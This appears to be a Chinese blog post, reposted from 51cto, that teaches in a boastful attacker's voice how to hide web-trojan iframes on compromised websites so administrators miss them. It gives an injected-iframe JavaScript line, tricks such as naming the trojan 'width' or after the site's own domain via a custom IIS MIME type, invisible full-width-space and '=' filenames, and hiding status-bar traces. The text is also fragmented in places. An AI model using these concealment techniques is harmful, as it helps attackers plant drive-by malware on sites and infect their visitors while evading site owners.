话说某夜,月黑风高。一个黑得不能再黑的***,在X网站上挂上了自己苦心免杀的Y网马一只。小马刚刚挂上不久就被无情地咔嚓了!我们英明神勇的Z管理员再一次揪出了藏了又藏的小马……
废话不多说,今天就给大家介绍怎么
挂马。也许你会惊讶。
挂马,网上不是有流传的方法吗?iframe和Script都能搞得定,怎么还有人来显摆呢?听我说,凡是
挂马,最终都是能被发现的(废话!),但是如果能最大限度地躲过检查,那岂不是更妙?因为
挂马也是一种艺术。
2
3
)
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="muma.htm "></iframe>'
|
去文件后缀法
。网马的发现难度是不是一下子增加了不少呢?我们继续改造,调用代码使用<iframe src=width width=0 height=0></iframe>,网马改名为同目录下的width。当然,如果你够“阴险”、够“狡猾”,不怕骂,还可以再考虑其它更迷惑的名字。
变异文件后缀法
挂马这种方式并不依赖于文件后缀,但是你见过<iframe src=www.baidu.com></iframe>吗?今天我们就来实现它。当然,这要有一定前提的。网马所在的服务器要在你手里,或者你有网站的IIS管理权限。我们知道,IIS对受访文件的类型是根据扩展名来识别的,比如我们输入index.asp,系统就会调用asp.dll来解析;输入index.htm,就自动解释为HTML代码;如果是exe文件,则直接提示下载。由此触发了我的灵感,何不构造一个自己需要的后缀呢?打开IIS管理器,找到网站,点右键看“属性->HTTP头->文件类型”,新建文件扩展名.com,文件类型为text/html,点击确定后,这个扩展名在网站上就可以使用了,而且会被当作HTML来解析,如图1所示。
![](https://i-blog.csdnimg.cn/blog_migrate/06e8535987676cf02f0f4aef0794fe7d.png)
接下来,我们进行挂马!在
[url]www.shadu120.com[/url]
网站目录下找到要插入代码的网页
index.html
,加入代码
<iframe src=www.shadu120.com></iframe>
。图
2
大家看懂了吧?就是建一个和网站的名字一样的文件来做网马。刷新
[url]http://www.shadu120.com[/url]
,哇!网马乖乖地出来了,如图
3
所示。哪个管理员会想到“
src=
”后面自己网站的域名居然会是个网马呢?哈哈!
![](https://i-blog.csdnimg.cn/blog_migrate/6b5f91da9b68cfcebe86a0459fb42674.png)
无文件名法
这是最后的绝招!这里说的无文件名并不是指网马没有文件名,而是我们给网马起一个看不见的文件名。嘿嘿,既然黑,那就黑到底吧!
Windows 2000的IIS不需要额外配置,这里就以
Windows 2003为例,因为
Windows 2003的IIS默认不支持无后缀文件。打开IIS管理器,找到计算机点右键看属性,再选择MIME类型。新建一个扩展名“.*”,类型填写为text/html或application/postscript,确定后IIS 6.0就支持无后缀文件了,具体操作如图4所示。
![](https://i-blog.csdnimg.cn/blog_migrate/d20e173c50ef331a56be82ae86556f2b.png)
OK
,下一步我们在网站目录放一个网马,名字改为“■”(注意:■表示中文全角空格!),然后将代码“
<iframe src= > < /iframe>
”(注意:等号后面是一个中文全角空格)插入到
index.html
文件中。
现在在浏览器里输入
[url]http://www.shadu120.com/[/url]
,哈哈,看到了什么?或者直接输入
[url]http://www.shadu120.com/[/url]
■,也可以马上看到效果!如图
5
所示。
![](https://i-blog.csdnimg.cn/blog_migrate/ae869250a626bb10d0ab452ab208c958.png)
另外,
Windows
下的文件名也可以包含“
=
”,于是上面这段代码自然就产生了“
<iframe src= = ></iframe>
”的变形,建一个文件名为“
=
”的文件作为网马,一样能迷惑管理员的眼睛。
修改一下浏览器状态栏的信息,免得调用网马的时候被看到蛛丝马迹。当然,如果你采用的是“无文件名”法,这步可以省略。
0
收藏
转载于:https://blog.51cto.com/87209073/76427